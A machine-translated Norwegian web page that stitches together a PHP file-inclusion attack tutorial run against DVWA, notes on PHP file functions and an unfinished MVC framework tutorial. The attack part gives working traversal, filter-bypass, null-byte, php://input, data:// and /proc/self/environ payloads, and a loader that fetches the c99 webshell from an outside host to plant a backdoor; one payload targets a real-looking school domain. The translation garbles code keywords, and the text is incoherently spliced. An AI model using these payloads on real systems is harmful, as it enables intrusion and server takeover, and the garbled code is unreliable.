Fiktiv visning php-fil. Fil - Leser innholdet i en fil og legger den inn i en matrise. Arbeide med filer på serveren
Noen ganger kalles filinjeksjon inkludering, noen ganger betraktes det som en del av PHP-injeksjon (kodeinjeksjon). Det siste er ikke helt sant, siden filinjeksjonssårbarheter ikke nødvendigvis er relatert til kodekjøring.
Sårbarheten kan oppstå når du bruker (i PHP) uttrykk som:
- kreve_en gang,
- inkludere_en gang,
- inkludere,
- krever
Hver av dem har små nyanser, men felles for dem er at de inkluderer en fil i programmet og kjører den. Disse uttrykkene kan forårsake problemer hvis de passerer brukerinndata og programmet ikke filtrerer det ut nok.
Forresten, ja, dette er uttrykk, ikke funksjoner. Det er ikke nødvendig å skrive slik:
Require("somefile.php");
Et mer foretrukket alternativ er:
Krev "somefile.php";
Men dette er en retrett som ikke har noe med sårbarhet å gjøre.
Hvis filer er inkludert med uttrykkene require_once, include_once, include, require, så kan vi si at kodeinjeksjon også finner sted samtidig. Det er imidlertid mulig å inkludere filer uten kjørende kode på serveren. For eksempel endrer et nettsted utseende basert på brukerens valgte tema. Navnet på temaene tilsvarer navnet på HTML-filene som leses på serveren. I denne situasjonen, hvis forespørselen er dannet på en slik måte at den leser en fil som ikke er ment for dette (for eksempel en PHP-fil), vil PHP-kildekoden vises i stedet for å utføre kommandoer.
Brukeren kan spesifisere en ekstern eller lokal fil som inkluderingsfil. Basert på dette skilles to tilsvarende varianter ut:
- lokal filinjeksjon
- ekstern filinjeksjon
Faren for ekstern inkludering er kjøring av vilkårlig kode på en sårbar server. Dette brukes vanligvis for bakdørsinfeksjoner.
Faren ved lokal filinjeksjon er at brukeren kan vise innholdet i filer han ikke har rettigheter til å se (programkildekoder, systemfiler med innstillinger og passord). Med lokal inkludering er det også mulig å kjøre tredjepartskode (for eksempel for bakdørsinfeksjon), hvis en fil med ondsinnet kode tidligere ble lastet opp til serveren, eller loggforgiftningsmetoden ble brukt, eller noen andre metoder.
Lokal inkludering av filer er ikke mindre farlig enn introduksjonen av eksterne filer.
Utnyttelse av lokal filinnbyggingDu kan prøve deg på dette sikkerhetsproblemet i Damn Vulnerable Web Application (DVWA). Jeg bruker Web Security Dojo, der DVWA allerede er installert.
La oss starte på et lavt nivå (lav DVWA-sikkerhet).
La oss gå til siden for filinkludering http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Hvis en verdi som ligner på et filnavn (fil1.php, fil2.php) sendes som et argument til en variabel, kan vi anta at en include blir brukt. Siden filtypen er .php, blir filen mest sannsynlig utført på serveren (dvs. kodeinjeksjon er mulig) og ikke bare vist for visning.
DVWA har en side http://localhost/dvwa/about.php, den ligger to nivåer opp, la oss prøve å se den på denne måten: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php
Ja, det er en lokal inkluderingssårbarhet. Når du går inn, filtreres ikke overganger til øvre kataloger (../); listen over filer for inkludering er ikke uttømmende (i stedet for den foreslåtte filen*.php, valgte vi about.php).
Noen ganger brukes inkluderte filer, men adressene kan for eksempel se slik ut: http://localhost/dvwa/vulnerabilities/fi/?page=file1. I dette tilfellet kan en utvidelse legges til skriptet og skriptet bygger inn en fil hvis navn til slutt dannes i skriptet. Vanligvis er en sårbarhet i denne formen vanskelig/umulig å utnytte.
Ofte liker folk å gi noe slikt som et eksempel på å utnytte lokal filinkludering:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Som vi kan se, fungerte det. Men siden nettlesere ignorerer /r/n (nylinjetegn), må vi åpne kildekoden for å gjøre oppføringene lesbare:
Dessverre er det ingen passord i filen /etc/passwd på lenge.
Fra serveren kan du hente ulike innstillingsfiler, SSL-sertifikater, i prinsippet enhver fil som er åpen for lesing av alle brukere eller som webserveren har tilstrekkelige rettigheter til å lese:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
Når det gjelder delte hostinger, er det noen ganger mulig å se inn i andres mapper (igjen, hvis brukerrettighetene er feil konfigurert).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
Oppgaven kompliseres av det faktum at vi trenger å vite banen til filen.
Drift av ekstern filinjeksjonPHP er et veldig fleksibelt og utviklervennlig programmeringsspråk. Filinnbyggingskommandoer og noen andre gjenkjenner perfekt og behandler ikke bare lokale filer, men også URL-er...
La oss prøve å skrive nettstedets URL https://site/ i stedet for filnavnet:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Se hvor interessant det viser seg:
Følgende skjedde: PHP-tolken mottok en kommando om å inkludere filen/nettstedet https://site/. Han åpnet/lastet ned den tilsvarende adressen og sendte den resulterende koden for å bli utført som et PHP-program. Siden PHP bare kjører koden omgitt av de riktige taggene (i dette tilfellet var det ingen kode i det hele tatt) og gir ut alt annet som det er, blir hele nettsiden sendt ut som den er.
Selvfølgelig er denne sårbarheten interessant for oss, ikke fordi vi kan se andre nettsteder gjennom ett nettsted.
Jeg fremhevet ordet "tekst" av den grunn at på serveren under vår kontroll skal det være en tekstfil som ikke skal kjøres på serveren vår. Serveren vår trenger bare å vise innholdet.
For å lage en bakdør kan du bruke Weevely, PhpSploit, eller du kan ta ferdige løsninger. La oss bruke en ferdig denne gangen.
Jeg vil tilordne $backdoor-variabelen kildekoden til bakdøren, som jeg laster ned fra Github. Deretter bruker jeg file_put_contents-funksjonen for å lagre den resulterende kildekoden i c99unlimited.php-filen.
Koden har jeg plassert i en tekstfil
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ekko "ferdig!";
Den er tilgjengelig på http://miloserdov.org/sec.txt
Nå, ved å bruke en fjernkontroll, laster vi opp en bakdør til en sårbar server.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Vær oppmerksom på inskripsjonen ferdig!, den vises av manuset, dvs. alt ordnet seg nok.
Siden skriptet som inkluderer filene ligger i katalogen http://localhost/dvwa/vulnerabilities/fi/, og vår nye fil med bakdøren burde vært lagret med navnet c99unlimited.php, er den fullstendige adressen til bakdøren på den sårbare serveren skal være: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Vi sjekker:
Flott, nå har vi alle funksjonene en webserveradministrator kan trenge... og de som har tilgang til serveren deres.
Omgå filtrering når du inkluderer filer lokaltLa oss gå videre til middels sikkerhetsnivå (kan konfigureres i DVWA Security).
Hvis vi ser på kildekoden (Vis kilde-knappen):
da vil vi se at ../-tegnene nå er filtrert. Dette vil hindre oss i å flytte til en katalog høyere enn den der det sårbare skriptet kjører.
De. ingenting vil fungere slik:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
La oss tenke på hvordan filtrering fungerer i dette tilfellet? La oss si at ordet "dårlig" er filtrert, så en linje som
god dårlig god
etter filtrering vil det se slik ut:
bra bra
Og hvis du setter inn en linje som denne
dårlig dårlig xo
så etter filtrering (det "dårlige" vil bli fjernet) vil det vise seg
Dårlig
I ../ setter vi inn ../ i midten igjen, viser det seg ..././
La oss prøve denne adressen http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / min.cnf
Det funket!
En annen løsning kan være å kode tegn til heksadesimal koding, et eksempel på denne linjen:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
"../" kan erstattes med "%2E%2E%2f".
Dobbel hex-koding praktiseres også, der "../" er erstattet med "%252E%252E%252F"
Lokal inkludering av filer når du legger til en utvidelse i et skriptHvis koden inkludert filer ser slik ut:
De. Hvis en .php eller en annen utvidelse legges til noen brukerinndata, tillater ikke dette at forespørselen blir dannet på en slik måte at den utfører et angrep.
Det er flere teknikker som er designet for å forkaste utvidelsen, men de kan anses som foreldet siden de fungerer på PHP 5.3, og selv da ikke alle versjoner. Nettserveradministratorer er imidlertid klinisk konservative og foretrekker å ikke røre noe hvis det fungerer. De. Det er en sjanse for å møte en server med en veldig gammel versjon av PHP, og du bør være klar over disse teknikkene.
Bruke nullbyte %00 (nullbyte)
En nullbyte legges til på slutten av forespørselen for å ignorere utvidelsen:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
Den andre metoden kalles et banebeskjæringsangrep. Poenget er at PHP avkorter stier som er lengre enn 4096 byte. I dette tilfellet åpner PHP filen riktig, selv om det er skråstreker og prikker på slutten av navnet. Hvis du sender som en parameter noe sånt som?param1=../../../../etc/passwd/./././././ (hvor ./ gjentas mange tusen ganger), så sluttfilen sammen med utvidelsen (som skriptet la til, som et resultat av at filnavnet ble inkluderer/../../../../etc/passwd/./././././ .php) vil bli forkastet. Og filnavnet vil være include/../../../../etc/passwd/./././././. Og siden PHP ikke forveksles av etterfølgende skråstreker og ./ på slutten av filen, ignorerer den dem ganske enkelt, totalt vil PHP åpne filen langs banen inkluderer/../../../../etc/ passwd.
Omgå filtrering for ekstern filinjeksjonSom vi allerede så i kildekoden, filtrerer middels sikkerhetsnivå også http:// og https:// ut.
Nå http://localhost/dvwa/vulnerabilities/fi/?. Vi vil bruke nøyaktig samme teknikk som å omgå filtrering med lokal inkludering. Generert forespørsel:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
Og merk også at det ikke er filtrert, for eksempel ftp, dvs. Dette alternativet ville fungere uten noen triks i det hele tatt:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Innhenting av kildekoden til PHP-skript når du inkluderer filer fra php://filterDette trikset krever ikke ekstern filinkludering. En slags meta wrapper php://filter vil bli brukt.
La oss si at vi ønsker å se kildekoden til filen file1.php, så for vår situasjon vil forespørselen være sammensatt slik:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Vær oppmerksom på den meningsløse strengen med bokstaver og tall - dette er kildekoden til filen file1.php i base64-koding. Siden det er base64, støttes også binære filer.
La oss dekode filen:
Ekstern kjøring av kode med php://inputDette er ikke som innbygging av filer og krever ikke at du laster opp filer.
For å hjelpe vil jeg bruke FireFox-utvidelsen, du kan også bruke den eller et hvilket som helst annet program (for eksempel curl) som kan overføre data ved hjelp av POST-metoden.
php://input har tilgang til råteksten til HTTP-forespørselen, for å forstå hva include("php://input") gjør, åpne siden
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
Og i hoveddelen av forespørselen, send riktig PHP-kode (for eksempel ved å bruke POST-metoden). Dette vil tillate deg å utføre alle funksjoner som er tillatt på den eksterne serveren!
Ekstern kodekjøring med data://
I tillegg støtter PHP data:// URL-skjemaet. Du kan plassere koden direkte i GET-parameteren! Følgende test krever ingen spesielle verktøy, bare en vanlig nettleser for å utføre angrepet.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Noen nettapplikasjonsbrannmurer kan legge merke til en mistenkelig streng i en URL og blokkere den ondsinnede forespørselen. Men det er en måte å kryptere strengen med minst base64-koding:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Utfør vilkårlige kommandoer fra /proc/self/environ/proc/self/environ er prosessvariabellagringen. Hvis Apache-prosessen har tilstrekkelige rettigheter til å få tilgang til den, når du åpner en nettside som inneholder en inkludering med en lignende URL,
www.website.com/view.php?page=../../../../../proc/self/environ
vil gi ut noe sånt som
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; no) Presto/2.2.15 Versjon/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index..ph? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [e-postbeskyttet] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Vær oppmerksom på HTTP_USER_AGENT. I stedet kan du erstatte den riktige PHP-koden, som vil bli utført på en ekstern server.
Etsing og injeksjon av logger ved inkludert filer lokaltDessverre fungerer ikke denne metoden lenger på nyere versjoner av Apache.
Essensen ligger i det faktum at angriperens kode injiseres i webserverloggene. Dette kan gjøres ved å erstatte User-Agent , eller til og med ganske enkelt sende det inn i en GET-parameter.
Statisk injeksjon av en ekstern filEksempel på statikk inkluderer:
Du kan bruke en statisk inkludering i svært eksotiske situasjoner. For å injisere ondsinnet kode, er det nødvendig å utføre et mann-i-midten-angrep mellom to servere: den ene er vert for nettapplikasjonen som bruker include, og den andre er vert for filen som ble brukt for inkluderingen.
PHP file_exists("test.txt")//Eksisterer filen? filesize("test.txt");//Finn ut filstørrelsen //Tidsstempelet returneres: fileatime("test.txt");//Dato for siste tilgang til filen //date("d M Y" , $atime); filemtime("test.txt");//Dato for filendring //date("d M Y", $mtime); filectime("test.txt");//Dato for filoppretting (Windows) //date("d M Y", $ctime); Filer: driftsmoduser PHP-ressurs fopen (strengfilnavn, strengmodus) // ressurs - returnerer en peker til filen i tilfelle suksess, eller FALSE i tilfelle feilåpen fil skrivebeskyttet; |
åpne filen for lesing og skriving; |
åpne filen kun for skriving. Hvis den eksisterer, blir det gjeldende innholdet i filen ødelagt. Gjeldende posisjon er satt til begynnelsen; |
åpne filen for lesing og skriving. Hvis den eksisterer, blir det gjeldende innholdet i filen ødelagt. Gjeldende posisjon er satt til begynnelsen; |
åpne filen for skriving. Gjeldende posisjon er satt til slutten av filen; |
åpne filen for lesing og skriving. Gjeldende posisjon er satt til slutten av filen; |
behandle den binære filen. Dette flagget kreves når du arbeider med binære filer på Windows. |
Til å begynne med vil skrivingen skje i begynnelsen av filen, ved å overskrive eksisterende data, hvis noen. Derfor, hvis du trenger å skrive noe til slutten av filen, må du stille inn riktig lesemodus, for eksempel a+ .
Manipulere markøren i PHP-filer PHP int fseek(int fi, int offset [, int wherece]) //Sett inn markøren // int fi - peker til filen //offset - antall tegn som skal flyttes. //hvor: //SEEK_SET - bevegelse starter fra begynnelsen av filen; //SEEK_CUR - bevegelse starter fra gjeldende posisjon; //SEEK_END - bevegelse starter fra slutten av filen. fseek($fi, -10, SEEK_END); //Les de siste 10 tegnene $s = fread($fi, 10); $pos = ftell($fi); // Finn ut gjeldende posisjon spole tilbake($f) // tilbakestill markøren bool feof($f) // slutten av filen Direkte arbeid med filer (data) i PHP PHP array fil(streng filnavn) // Hent innholdet av filen i form av en array // Et annet alternativ for direkte arbeid med data file_get_contents(streng filnavn) //Lesing (vi får hele filen på én linje) //Skriv til filen (opprinnelig overskrevet) file_put_contents(streng filnavn , blandede data[,int flagg]); //FILE_APPEND // Skriv til slutten av filen: file_put_contents("test.txt", "data", FILE_APPEND); //Hvis du skriver en array, $array = array("I", "live"); file_put_contents("test.txt",$array); //da får vi "Ilive" Behandle filer i php PHP copy(strengkilde, strengdestinasjon); // Kopiering av filen rename(str oldname, str newname); // Gi nytt navn til filen unlink (streng filnavn); // Slette en fil Laste opp filer til PHP-serveren // PHP.ini-innstillinger file_uploads (på|av) // tillate eller deaktivere filopplasting upload_tmp_dir // midlertidig mappe for opplastede filer. som standard midlertidig mappe upload_max_filesize (standard = 2 Mb) // maks. størrelsen på den opplastede filen post_max_size // total størrelse på skjemaet som sendes (må være større enn upload_max_filesize) //Enkel HTML-opplasting Vi jobber med filer på PHP-serveren //Motta data $tmp = $_FILES["brukerfil"][" tmp_name"]; $navn = $_FILES["brukerfil"]["navn"]; //Flytt filen move_uploaded_file($tmp, navn); move_uploaded_file($tmp, "upload/".navn); // omdirigere filen til opplastingsmappen // i forhold til gjeldende fil // Hva er i $_FILES-matrisen $_FILES["brukerfil"]["navn"] // filnavn, for eksempel test.html $_FILES[ "userfile"][" tmp_name"] // midlertidig filnavn (bane) $_FILES["brukerfil"]["size"] // filstørrelse $_FILES["brukerfil"]["type"] // filtype $ _FILES["brukerfil"] ["feil"] // 0 - ingen feil, antall - ja Mange begynner å skrive et prosjekt for å jobbe med en enkelt oppgave, uten å antyde at det kan vokse til et flerbrukeradministrasjonssystem, for eksempel , innhold eller, gud forby, produksjon. Og alt virker flott og kult, alt fungerer, helt til du begynner å forstå at koden som er skrevet utelukkende består av krykker og hard kode. Koden er blandet med layout, spørringer og krykker, noen ganger til og med uleselig. Et presserende problem oppstår: når du legger til nye funksjoner, må du tukle med denne koden i veldig lang tid, og huske "hva ble skrevet der?" og forbanne deg selv i fortiden.Du har kanskje til og med hørt om designmønstre og til og med bladd gjennom disse fantastiske bøkene:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides “Objektorienterte designteknikker. Designmønstre";
- M. Fowler "Arkitektur av Enterprise Software Applications."
Denne artikkelen vil først og fremst være nyttig for nybegynnere. Uansett håper jeg at du i løpet av et par timer vil kunne få en ide om implementeringen av MVC-mønsteret, som ligger til grunn for alle moderne nettrammeverk, og også få "mat" for videre refleksjon om "hvordan gjør det." På slutten av artikkelen er det et utvalg nyttige lenker som også vil hjelpe deg å forstå hva nettrammeverk består av (foruten MVC) og hvordan de fungerer.
Erfarne PHP-programmerere finner neppe noe nytt for seg selv i denne artikkelen, men deres kommentarer og kommentarer til hovedteksten vil være veldig nyttige! Fordi Uten teori er praksis umulig, og uten praksis er teori ubrukelig, så først blir det litt teori, og så går vi videre til praksis. Hvis du allerede er kjent med MVC-konseptet, kan du hoppe over teoridelen og gå rett til praksisen.
1. Teori MVC-mønsteret beskriver en enkel måte å strukturere en applikasjon på, hvis formål er å skille forretningslogikk fra brukergrensesnittet. Som et resultat er applikasjonen enklere å skalere, teste, vedlikeholde og selvfølgelig implementere.La oss se på det konseptuelle diagrammet av MVC-mønsteret (etter min mening er dette det mest vellykkede diagrammet jeg har sett):
I MVC-arkitektur gir modellen data- og forretningslogikkreglene, visningen er ansvarlig for brukergrensesnittet, og kontrolleren gir interaksjon mellom modellen og visningen.
En typisk flyt av en MVC-applikasjon kan beskrives som følger:
Dette viser en visning av for eksempel hovedsiden til nettstedet.
som for eksempel inneholder modellanrop som leser informasjon fra databasen.
Modellen skal ikke samhandle direkte med brukeren. Alle variabler knyttet til brukerforespørselen må behandles i kontrolleren.
Modellen skal ikke generere HTML eller annen visningskode som kan endres avhengig av brukerens behov. Slik kode bør behandles i visninger.
Den samme modellen, for eksempel: brukerautentiseringsmodellen kan brukes i både bruker- og administrative deler av applikasjonen. I dette tilfellet kan du flytte den generelle koden til en egen klasse og arve fra den, og definere underapplikasjonsspesifikke metoder i dens etterkommere.
View - brukes til å spesifisere ekstern visning av data mottatt fra kontrolleren og modellen.
Visninger inneholder HTML-markering og små innsettinger av PHP-kode for å krysse, formatere og vise data.
Skal ikke ha direkte tilgang til databasen. Dette er hva modeller bør gjøre.
Bør ikke fungere med data hentet fra en brukerforespørsel. Denne oppgaven må utføres av kontrolløren.
Kan få direkte tilgang til egenskaper og metoder for en kontroller eller modeller for å få utdataklare data.
Visninger er vanligvis delt inn i en felles mal, som inneholder markeringer som er felles for alle sider (for eksempel en topp- og bunntekst) og deler av malen som brukes til å vise data fra modellen eller vise dataregistreringsskjemaer.
Kontrolleren er limet som kobler modeller, visninger og andre komponenter til en fungerende applikasjon. Behandlingsansvarlig er ansvarlig for å behandle brukerforespørsler. Kontrolleren skal ikke inneholde SQL-spørringer. Det er bedre å holde dem i modeller. Kontrolleren skal ikke inneholde HTML eller annen markering. Det er verdt å få det til syne.
I en godt utformet MVC-applikasjon er kontroller vanligvis veldig tynne og inneholder bare noen få dusin linjer med kode. Det samme kan ikke sies om Stupid Fat Controllers (SFC) i CMS Joomla. Kontrollerlogikken er ganske typisk og det meste overføres til basisklasser.
Modeller, tvert imot, er veldig tykke og inneholder det meste av koden knyttet til databehandling, fordi datastrukturen og forretningslogikken i den er vanligvis ganske spesifikk for en bestemt applikasjon.
Jeg håper du allerede har lagt merke til at forskjellige nettsteder kan ha helt forskjellige formater for å konstruere adressefeltet. Hvert format kan vise arkitekturen til en nettapplikasjon. Selv om dette ikke alltid er tilfelle, er det i de fleste tilfeller et klart faktum.
La oss vurdere to alternativer for adressefeltet, som viser litt tekst og en brukerprofil.
Første alternativ:
Andre alternativ:
Du kan se multi-touchpoint-tilnærmingen på phpBB-foraene. Forumet vises gjennom viewforum.php-skriptet, emnet vises gjennom viewtopic.php, etc. Den andre tilnærmingen, som er tilgjengelig gjennom en enkelt fysisk skriptfil, kan sees i min favoritt CMS MODX, der alle anrop går gjennom index.php.
Disse to tilnærmingene er helt forskjellige. Den første er typisk for Page Controller-mønsteret, og den andre tilnærmingen er implementert av Front Controller-mønsteret. Sidekontrolleren er bra for nettsteder med ganske enkel logikk. På sin side konsoliderer forespørselskontrolleren alle forespørselsbehandlingsaktiviteter på ett sted, noe som gir den ekstra muligheter som kan tillate deg å implementere mer komplekse oppgaver enn det som vanligvis løses av sidekontrolleren. Jeg vil ikke gå inn på detaljer rundt implementeringen av sidekontrolleren, men vil kun si at i den praktiske delen vil det være forespørselskontrolleren (noe lignende) som skal utvikles.
1.2. URL-ruting URL-ruting lar deg konfigurere applikasjonen til å akseptere forespørsler fra URL-er som ikke samsvarer med faktiske applikasjonsfiler, og å bruke CNC-er som er semantisk meningsfulle for brukere og foretrukket for søkemotoroptimalisering.For en vanlig side som viser et kontaktskjema, kan URL-en for eksempel se slik ut:
http://www.example.com/contacts.php?action=feedback
Omtrentlig behandlingskode i dette tilfellet:
switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "Om oss" sideskift ; case "contacts" : require_once ("contacts.php" ); // side "Kontakter" break ; case "feedback" : require_once ("feedback.php" ); // side "Feedback" break ; standard : require_once ("page404.php" ); // side "404" break ; )
Jeg tror nesten alle har gjort dette før.
Ved å bruke en URL-rutingsmotor kan du konfigurere applikasjonen din til å godta forespørsler som dette for å vise den samme informasjonen:
http://www.example.com/contacts/feedback
Her representerer kontakter kontrolleren, og tilbakemelding er kontaktkontrollermetoden som viser tilbakemeldingsskjemaet osv. Vi kommer tilbake til denne problemstillingen i den praktiske delen.
Det er også verdt å vite at mange nettrammeverks rutere lar deg lage egendefinerte URL-ruter (spesifiser hva hver del av URL-en betyr) og regler for behandling av dem.
Nå har vi tilstrekkelig teoretisk kunnskap til å gå videre til praksis.
Ser jeg fremover vil jeg si at kjerneklassene Model, View og Controller vil bli lagret i kjernemappen.
Barna deres vil bli lagret i kontrollerene, modellene og visningskatalogene. index.php-filen er inngangspunktet til applikasjonen. Bootstrap.php-filen starter lasting av applikasjonen, kobler til alle nødvendige moduler osv.
Vi vil gå sekvensielt; La oss åpne index.php-filen og fyll den med følgende kode:
ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
Det burde ikke være noen spørsmål her.
Deretter går vi umiddelbart til bootstrap.php-filen:
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Rute::start(); //start ruteren
De tre første linjene vil inkludere for øyeblikket ikke-eksisterende kjernefiler. De siste linjene inkluderer filen med ruterklassen og start den for kjøring ved å kalle den statiske startmetoden.
RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Denne koden vil omdirigere all sidebehandling til index.php, som er det vi trenger. Husker du i den første delen vi snakket om Front Controller?!
Vi vil plassere rutingen i en egen fil route.php i kjernekatalogen. I denne filen vil vi beskrive ruteklassen, som vil kjøre kontrollermetoder, som igjen vil generere sidevisningen.
Innholdet i route.php-filen
klasse Rute ( statisk funksjon start () ( // kontroller og standard handling $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // få kontrollerenavnet if (!empty ($ruter )) ( $kontrollernavn = $ruter ; ) // få handlingsnavnet hvis (!empty ($ruter )) ( $handlingsnavn = $ruter ; ) // legg til prefikser $modellnavn = " Model_" .$controller_name ; $controller_name = "Kontroller_" .$controller_name ; $action_name = "action_" .$action_name ; // koble opp filen med modellklassen (det er kanskje ikke en modellfil) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) (inkluder "application/models/" .$model_file ; ) // koble til filen med kontrollerklassen $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (inkluder "application/controllers/" .$controller_file ; ) else ( /* det ville være riktig å kaste et unntak her, men for å forenkle ting, vil vi umiddelbart omdirigere til 404-siden */ Route::ErrorPage404(); ) // lage en kontroller $controller = new $controller_name ; $action = $handlingsnavn ; if (method_exists($controller, $action )) ( // kaller kontrollerhandlingen $controller ->$action (); ) else ( // her vil det også være klokere å kaste et unntak Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 ikke funnet" ); header("Status: 404 ikke funnet") ; header(" Sted:" .$vert ."404" ); ) )
Jeg legger merke til at klassen implementerer veldig forenklet logikk (til tross for den omfangsrike koden) og kan til og med ha sikkerhetsproblemer. Dette ble gjort med vilje, fordi... å skrive en fullverdig rutingsklasse fortjener minst en egen artikkel. La oss se på hovedpunktene...
Det globale array-elementet $_SERVER["REQUEST_URI"] inneholder hele adressen som brukeren kontaktet.
For eksempel: example.ru/contacts/feedback
Bruker funksjonen eksplodere Adressen er delt inn i komponenter. Som et resultat får vi navnet på kontrolleren, for eksempelet som er gitt, er dette kontrolleren kontakter og navnet på handlingen, i vårt tilfelle - tilbakemelding.
Deretter kobles modellfilen (modellen kan mangle) og kontrollerfilen, hvis noen, og til slutt opprettes en forekomst av kontrolleren og handlingen kalles igjen hvis den ble beskrevet i kontrollerklassen.
Når du for eksempel går til adressen:
example.com/portefølje
eller
example.com/portefølje/indeks
Ruteren vil utføre følgende handlinger:
example.com/ufo
så vil han bli omdirigert til "404"-siden:
example.com/404
Det samme vil skje hvis brukeren får tilgang til en handling som ikke er beskrevet i kontrolleren.2.2. La oss gå tilbake til MVC-implementeringen. La oss gå til kjernemappen og legge til tre filer til i route.php-filen: model.php, view.php og controller.php
La meg minne deg på at de vil inneholde basisklasser, som vi nå skal begynne å skrive.
Innholdet i model.php-filen
klasse Modell ( offentlig funksjon get_data ( ) ( ) )
Modellklassen inneholder en enkelt tom datahentingsmetode, som vil bli overstyrt i etterkommerklasser. Når vi oppretter etterkommerklasser vil alt bli klarere.
Innholdet i view.php-filen
class View ( //public $template_view; // her kan du spesifisere standard generell visning. function gener ($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // convert array elementer i variabler extract($data); ) */ include "application/views/" .$template_view ; ) )
Det er ikke vanskelig å gjette at metoden generere ment å danne et syn. Følgende parametere sendes til den:
for å vise innholdet på en bestemt side.
I vårt tilfelle vil den generelle malen inneholde topptekst, meny, sidefelt og bunntekst, og sideinnholdet vil inneholde et eget skjema. Igjen, dette er gjort for enkelhets skyld.
Innholdet i controller.php-filen
klassekontroller ( offentlig $modell ; offentlig $visning ; funksjon __konstruksjon () ( $this ->view = new View(); ) ) )
Metode handlingsindeks- dette er handlingen som kalles som standard; vi vil overstyre den når vi implementerer etterkommerklasser.
I forrige figur er filen template_view.php uthevet separat - dette er en mal som inneholder markeringer som er felles for alle sider. I det enkleste tilfellet kan det se slik ut:
hjem
For å gi nettstedet et presentabelt utseende, lager vi en CSS-mal og integrerer den i nettstedet vårt ved å endre strukturen til HTML-markeringen og koble sammen CSS- og JavaScript-filer:
På slutten av artikkelen, i "Resultat"-delen, er det en lenke til et GitHub-depot med et prosjekt der det er tatt skritt for å integrere en enkel mal.
klasse Controller_Main utvider Controller ( funksjon action_index () ( $this ->view->generate("main_view.php", "template_view.php"); ) )
I metode generere en forekomst av View-klassen, sendes navnene på filene til den generelle malen og visningen med sideinnholdet.
I tillegg til indekshandlingen kan kontrolleren selvfølgelig inneholde andre handlinger.
Vi gjennomgikk den generelle visningsfilen tidligere. Tenk på innholdsfilen main_view.php:
Velkommen! OLOLOSHA TEAM er et team av førsteklasses spesialister innen nettstedsutvikling med mange års erfaring i å samle meksikanske masker, bronse- og steinstatuer fra India og Ceylon, basrelieffer og skulpturer laget av mestere i Ekvatorial-Afrika fem eller seks århundrer siden...
Denne inneholder enkel markering uten PHP-kall.
For å vise hovedsiden kan du bruke en av følgende adresser:
- metoder for biblioteker som implementerer dataabstraksjon. For eksempel metoder for PEAR MDB2-biblioteket;
- ORM metoder;
- metoder for å jobbe med NoSQL;
- og så videre. For enkelhets skyld vil vi ikke bruke SQL-spørringer eller ORM-setninger her. I stedet vil vi etterligne ekte data og umiddelbart returnere en rekke resultater.
Plasser modellfilen model_portfolio.php i modellmappen. Her er innholdet:
